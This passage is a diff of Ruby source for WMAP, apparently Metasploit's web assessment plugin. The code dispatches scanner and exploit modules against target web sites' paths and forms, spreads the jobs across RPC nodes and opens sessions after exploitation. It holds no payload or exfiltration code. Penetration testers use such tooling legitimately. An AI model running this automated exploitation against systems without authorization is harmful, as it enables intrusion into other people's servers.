rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules to be run at every path/file - # wmap_dir, wmap_file - # - print_status "\n=[ File/Dir testing ]=" - print_line "=" * sizeline - - idx = 0 - matches.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx+=1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - wtype = xref[2] - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - test_tree = load_tree(w) - test_tree.each do |node| - - if self.masstop - print_error("STOPPED.") - return - end - - p = node.current_path - testpath = Pathname.new(p) - strpath = testpath.cleanpath(false).to_s - - # - # Fixing paths - # - - if node.is_leaf? and not node.is_root? - # - # Later we can add here more checks to see if its a file - # - else - if node.is_root? - strpath = "/" - else - strpath = strpath.chomp + "/" - end - end - - strpath = strpath.gsub("//", "/") - #print_status("Testing path: #{strpath}") - - # - # Launch plugin depending module type. - # Module type depends on main input type. - # Code may be the same but it depend on final - # versions of plugins - # - - case wtype - when :wmap_file - if node.is_leaf? and not node.is_root? - # - # Check if an exclusion regex has been defined - # - if self.framework.datastore['WMAP_EXCLUDE'] - excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] - else - excludefilestr = wmap_exclude_files - end - - if not strpath.match(excludefilestr) - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - when :wmap_dir - if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - end - end - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI with UNIQUE query parameters. - # wmap_unique_query - # - print_status "\n=[ Unique Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches5.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - utest_query = Hash.new() - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |form| - - if self.masstop - print_error("STOPPED.") - return - end - - # - # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' - # - - datastr = "" - typestr = "" - - temparr = [] - - #print_status "---------" - #print_status form.params - #print_status "+++++++++" - - form.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{form.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - if (utest_query.has_key?(signature(form.path,datastr)) == false) - - modopts['METHOD'] = form.method.upcase - modopts['PATH'] = form.path - modopts['QUERY'] = form.query - if form.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - if form.method.upcase == 'POST' - modopts['DATA'] = datastr - end - modopts['TYPES'] = typestr - - # - # TODO: Add headers, etc. - # - if (not usinginipath) or (usinginipath and form.path.match(inipathname)) - - print_status "Path #{form.path}" - #print_status("Unique PATH #{modopts['PATH']}") - #print_status("Unique GET #{modopts['QUERY']}") - #print_status("Unique POST #{modopts['DATA']}") - #print_status("MODOPTS: #{modopts}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - utest_query[signature(form.path,datastr)]=1 - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - else - #print_status("Already tested") - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI query parameters. - # This approach will reduce the complexity of the Tree used before - # and will make this shotgun implementation much simple. - # wmap_query - # - print_status "\n=[ Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches2.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |req| - - if self.masstop - print_error("STOPPED.") - return - end - - datastr = "" - typestr = "" - - temparr = [] - - req.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{req.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - modopts['METHOD'] = req.method.upcase - modopts['PATH'] = req.path - if req.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - modopts['DATA'] = datastr if req.method.upcase == 'POST' - modopts['TYPES'] = typestr - - # - # TODO: Add method, headers, etc. - # - if (not usinginipath) or (usinginipath and req.path.match(inipathname)) - - print_status "Path #{req.path}" - #print_status("Query PATH #{modopts['PATH']}") - #print_status("Query GET #{modopts['QUERY']}") - #print_status("Query POST #{modopts['DATA']}") - #print_status("Query TYPES #{typestr}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be after all tests, once. - # Good place to have modules that analize the test results and/or - # launch exploits. - # :wmap_generic - # - print_status "\n=[ General testing ]=" - print_line "=" * sizeline - - idx = 0 - matches10.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - - if (mode & wmap_expl != 0) - print_line "+" * sizeline - - if not self.runlocal - if execmod - rpc_list_nodes() - print_status("Note: Use wmap_nodes -l to list node status for completion") - end - end - - print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") - print_line "+" * sizeline - end - - print_status("Done.") - end - - # EOM - end - - def view_targets - if self.targets == nil or self.targets.keys.length == 0 - print_status "No targets have been defined" - return - end - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Defined targets', - 'Columns' => - [ - 'Id', - 'Vhost', - 'Host', - 'Port', - 'SSL', - 'Path', - ]) - - self.targets.each_with_index { |t, idx| - tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] - } - - print_status tbl.to_s + "\n" - end - - def delete_sites(wmap_index) - idx = 0 - to_del = {} - # Rebuild the index from wmap_sites -l - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - # If the index of this site matches any deletion index, - # add to our hash, saving the index for later output - to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} - idx += 1 - end - end - end - to_del.each do |widx,wsite| - if wsite.delete - print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - else - print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - end - end - end - - - def view_sites - # Clean temporary sites list - self.lastsites = [] - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Available sites', - 'Columns' => - [ - 'Id', - 'Host', - 'Vhost', - 'Port', - 'Proto', - '# Pages', - '# Forms', - ]) - - idx = 0 - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - c = web.web_pages.count - f = web.web_forms.count - tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] - idx += 1 - - turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" - self.lastsites << turl - end - end - end - - print_status tbl.to_s + "\n" - - end - - # Reusing code from hdmoore - # - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - def add_web_site(url) - - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - return - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - return - end - - ssl = false - if uri.scheme == 'https' - ssl = true - end - - site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) - - return site - end - - # Code by hdm. Modified two lines by et - # - def process_urls(urlstr) - - target_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - target_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - # First time targets are defined - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - #print_status "aaa" - #print_status framework.db.workspace.name - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - # Initial defaul path - inipath = target.path - if target.path.empty? - inipath = '/' - end - - #site.web_forms.find_all_by_path(target.path).each do |form| - ckey = [ site.vhost, host.address, serv.port, inipath].join("|") - - if not self.targets[ckey] - self.targets[ckey] = WebTarget.new - self.targets[ckey].merge!({ - :vhost => site.vhost, - :host => host.address, - :port => serv.port, - :ssl => (serv.name == "https"), - :path => inipath - }) - #self.targets[ckey][inipath] = [] - else - print_status("Target already set in targets list.") - end - - # Store the form object in the hash for this path - #self.targets[ckey][inipath] << inipath - #end - end - end - end - - # Code by hdm. Modified two lines by et - # lastsites contains a temporary array with vhost,url strings so the id can be - # referenced in the array and prevent new sites added in the db to corrupt previous id list. - def process_ids(idsstr) - - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = idsstr.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - process_urls(ent) - end - end - - def view_site_tree(urlstr, md, ld) - if not urlstr - return - end - - site_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - site_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if site_whitelist.length == 0 - - vsites = Hash.new() - - site_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - t = load_tree(site) - print_tree(t,target.host,md,ld) - print_line("\n") - end - end - end - - # - # Load website structure into a tree - # - - def load_tree(s) - - pathchr = '/' - - wtree = Tree.new(s.vhost) - - # Load site pages - s.web_pages.find(:all, :order => 'path').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - # Load site forms - s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - return wtree - end - - # - # Print Tree structure. Still ugly - # - - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - - else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end - end - end - - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) - end - - end - end - - def signature(fpath,fquery) - hsig = Hash.new() - - hsig = queryparse(fquery) - - # - # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn - # - - sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") - end - - def queryparse(query) - params = Hash.new() - - query.split(/[&;]/n).each do |pairs| - key, value = pairs.split('=',2) - if params.has_key?(key) - #Error - else - params[key] = value - end - end - params - end - - def rpc_add_node(host,port,ssl,user,pass,bypass_exist) - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - begin - istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" - if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil - print_error("Connection already exists #{istr}") - else - begin - temprpc = ::Msf::RPC::Client.new( - :host => host, - :port => port, - :ssl => ssl - ) - rescue - print_error "Unable to connect" - #raise ConnectionError - return - end - - res = temprpc.login( user , pass) - - if not res - print_error("Unable to authenticate to #{host}:#{port}.") - return - else - res = temprpc.call('core.version') - end - - print_status("Connected to #{host}:#{port} [#{res['version']}].") - self.rpcarr[istr] = temprpc - end - rescue - print_error("Unable to connect") - end - end - - def local_module_exec(mod,mtype, opts, nmaxjobs) - jobify = false - - modinst = framework.modules.create(mod) - - if(not modinst) - print_error("Unknown module") - return - end - - sess = nil - - case mtype - when 'auxiliary' - Msf::Simple::Auxiliary.run_simple(modinst, { - 'Action' => opts['ACTION'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - when 'exploit' - if not opts['PAYLOAD'] - opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) - end - - sess = Msf::Simple::Exploit.exploit_simple(modinst, { - 'Payload' => opts['PAYLOAD'], - 'Target' => opts['TARGET'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - else - print_error("Wrong mtype.") - end - - if sess - if (jobify == false and sess.interactive?) - print_line - driver.run_single("sessions -q -i #{sess.sid}") - else - print_status("Session #{sess.sid} created in the background.") - end - end - end - - def rpc_round_exec(mod,mtype, opts, nmaxjobs) - - res = nil - idx = 0 - - if active_rpc_nodes == 0 - if not self.runlocal - print_error("All active nodes not working or removed") - return - end - res = true - else - rpc_reconnect_nodes() - end - - if self.masstop - return - end - - while not res - if active_rpc_nodes == 0 - print_error("All active nodes not working or removed") - return - end - - #find the node with less jobs load. - minjobs = nmaxjobs - minconn = nil - nid = 0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_error("Skipping inactive node #{nid} #{k}") - else - begin - currentjobs = rpccon.call('job.list').length - - if currentjobs < minjobs - minconn = rpccon - minjobs = currentjobs - end - - if currentjobs == nmaxjobs - if self.nmaxdisplay == false - print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") - print_error("Waiting for available node/slot...") - self.nmaxdisplay = true - end - end - #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") - rescue - print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") - self.rpcarr[k]=nil - - if active_rpc_nodes == 0 - print_error("All active nodes ,not working or removed") - return - else - print_error("Sending job to next node") - next - end - end - end - nid += 1 - end - - if minjobs < nmaxjobs - res=minconn.call('module.execute', mtype, mod, opts) - self.nmaxdisplay = false - #print_status(">>>#{res} #{mod}") - - if res - if res.has_key?("job_id") - return - else - print_error("Unable to execute module in node #{k} #{res}") - end - end - else - #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") - end - - idx += 1 - end - - if self.runlocal and not self.masstop - local_module_exec(mod,mtype, opts, nmaxjobs) - end - end - - def rpc_db_nodes(host,port,user,pass,name) - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - self.rpcarr.each do |k,v| - if v - res = v.call('db.driver',{:driver => 'postgresql'}) - res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) - res = v.call('db.status') - - if res['db'] == name - print_status("db_connect #{res} #{host}:#{port} OK") - else - print_error("Error db_connect #{res} #{host}:#{port}") - end - else - print_error("No connection to node #{k}") - end - end - end - - def rpc_reconnect_nodes() - begin - # Sucky 5 mins token timeout. - - idx = nil - self.rpcarr.each do |k,rpccon| - if rpccon - idx = k - begin - currentjobs = rpccon.call('job.list').length - rescue - tarr = k.split("|") - rflag = false - - res = rpccon.login(tarr[3],tarr[4]) - - if res - rflag = true - print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") - break - else - raise ConnectionError - end - end - end - end - rescue - print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") - self.rpcarr[idx] = nil - if active_rpc_nodes == 0 - print_error("No active nodes") - self.masstop = true - else - #blah - end - end - end - - def rpc_kill_node(i,j) - - if not i - print_error("Nodes not defined") - return - end - - if not j - print_error("Node jobs defined") - return - end - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if idx == i.to_i or i.upcase == 'ALL' - #begin - if not rpccon - print_error("No connection to node #{idx}") - else - n = rpccon.call('job.list') - n.each do |id,name| - if j==id.to_s or j.upcase == 'ALL' - rpccon.call('job.stop',id) - print_status("Node #{idx} Killed job id #{id} #{name}") - end - end - end - #rescue - # print_error("No connection") - #end - end - idx += 1 - end - end - - def rpc_view_jobs() - indent = ' ' - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") - else - - arrk = k.split('|') - print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") - - begin - n = rpccon.call('job.list') - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Jobs', - 'Columns' => - [ - 'Id', - 'Job name', - 'Target', - 'PATH', - ]) - - n.each do |id,name| - jinfo = rpccon.call('job.info',id) - dstore = jinfo['datastore'] - tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] - end - - print_status tbl.to_s + "\n" - - rescue - print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") - end - end - idx += 1 - end - end - - - # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby - def quit? - begin - while c = driver.input.read_nonblock(1) - print_status("Quited") - return true if c == 'Q' - end - false - rescue Errno::EINTR - false - rescue Errno::EAGAIN - false - rescue EOFError - true - end - end - - def rpc_mon_nodes() - # Pretty monitor - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - colors = [ - '%grn', - '%blu', - '%yel', - '%whi' - ] - - #begin - loop do - rpc_reconnect_nodes() - - idx = 0 - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - v = "NOCONN" - n = 1 - c = '%red' - - if not rpccon - v = "NOCONN" - n = 1 - c = '%red' - else - begin - v = "" - c = '%blu' - rescue - v = "ERROR" - c = '%red' - end - - begin - n = rpccon.call('job.list').length - c = '%blu' - rescue - n = 1 - v = "NOCONN" - c = '%red' - end - end - - #begin - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" - @stdio.print_raw(@stdio.substitute_colors(msg)) - - #rescue - #blah - #end - sleep(2) - idx += 1 - end - end - #rescue - # print_status("End.") - #end - end - - def rpc_list_nodes() - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Nodes', - 'Columns' => - [ - 'Id', - 'Host', - 'Port', - 'SSL', - 'User', - 'Pass', - 'Status', - '#jobs', - ]) - - idx=0 - - rpc_reconnect_nodes() - - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - if not rpccon - v = "NOCONN" - n = "" - else - begin - v = rpccon.call('core.version')['version'] - rescue - v = "ERROR" - end - - begin - n = rpccon.call('job.list').length - rescue - n = "" - end - end - - tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] - idx += 1 - end - - print_status tbl.to_s + "\n" - end - - def active_rpc_nodes - if self.rpcarr.length == 0 - return 0 - else - idx = 0 - self.rpcarr.each do |k,conn| - if conn - idx += 1 - end - end - return idx - end - end - - def view_modules - indent = ' ' - - wmaptype = [:wmap_ssl, - :wmap_server, - :wmap_dir, - :wmap_file, - :wmap_unique_query, - :wmap_query, - :wmap_generic - ] - - if not self.wmapmodules - load_wmap_modules(true) - end - - wmaptype.each do |modt| - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => modt.to_s, - 'Columns' => - [ - 'Name', - 'OrderID', - ]) - - idx = 0 - self.wmapmodules.each do |w| - oid = w[3] - if w[3] == 0xFFFFFF - oid = ":last" - end - - if w[2] == modt - tbl << [w[0],oid] - idx += 1 - end - end - - print_status tbl.to_s + "\n" - end - end - - # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And - # sort_by of a hash returns an array so this is the reason for this ugly piece of code - def sort_by_orderid(m) - temphash=Hash.new() - temparr=[] - - temparr = m.sort_by do |xref,v| - xref[3] - end - - temparr.each do |b| - temphash[b[0]] = b[1] - end - temphash - end - - # Load all wmap modules - def load_wmap_modules(reload) - if reload or not self.wmapmodules - print_status("Loading wmap modules...") - - self.wmapmodules=[] - - idx = 0 - [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| - # Scan all exploit modules for matching references - mtype[0].each_module do |n,m| - e = m.new - - # Only include wmap_enabled plugins - if e.respond_to?("wmap_enabled") - penabled = e.wmap_enabled - - if penabled - self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] - idx += 1 - end - end - end - end - print_status("#{idx} wmap enabled modules loaded.") - end - end - - def view_vulns - framework.db.hosts.each do |host| - host.services.each do |serv| - serv.web_sites.each do |site| - site.web_vulns.each do |wv| - print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") - print_status("\t#{wv.name} #{wv.description}") - print_status("\t#{wv.method} #{wv.proof}") - end - end - end - end - end - end - - class WebTarget < ::Hash - def to_url - proto = self[:ssl] ? "https" : "http" - "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" - end - end - - - def initialize(framework, opts) - super - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - wmapversion = '1.5.1' - - wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" - wmapbanner += "%red| | | || | | || | || |-'%clr\n" - wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" - wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" - - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - - @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) - - add_console_dispatcher(WmapCommandDispatcher) - #print_status("#{wmapbanner}") - end - - def cleanup - remove_console_dispatcher('wmap') - end - - def name - "wmap" - end - - def desc - "Web assessment plugin" - end + class WmapCommandDispatcher + + attr_accessor :wmapmodules # Enabled Wmap modules + attr_accessor :targets # Targets + attr_accessor :lastsites # Temp location of previously obtained sites + attr_accessor :rpcarr # Array or rpc connections + attr_accessor :njobs # Max number of jobs + attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg + attr_accessor :runlocal # Flag to run local modules only + attr_accessor :masstop # Flag to stop everything + attr_accessor 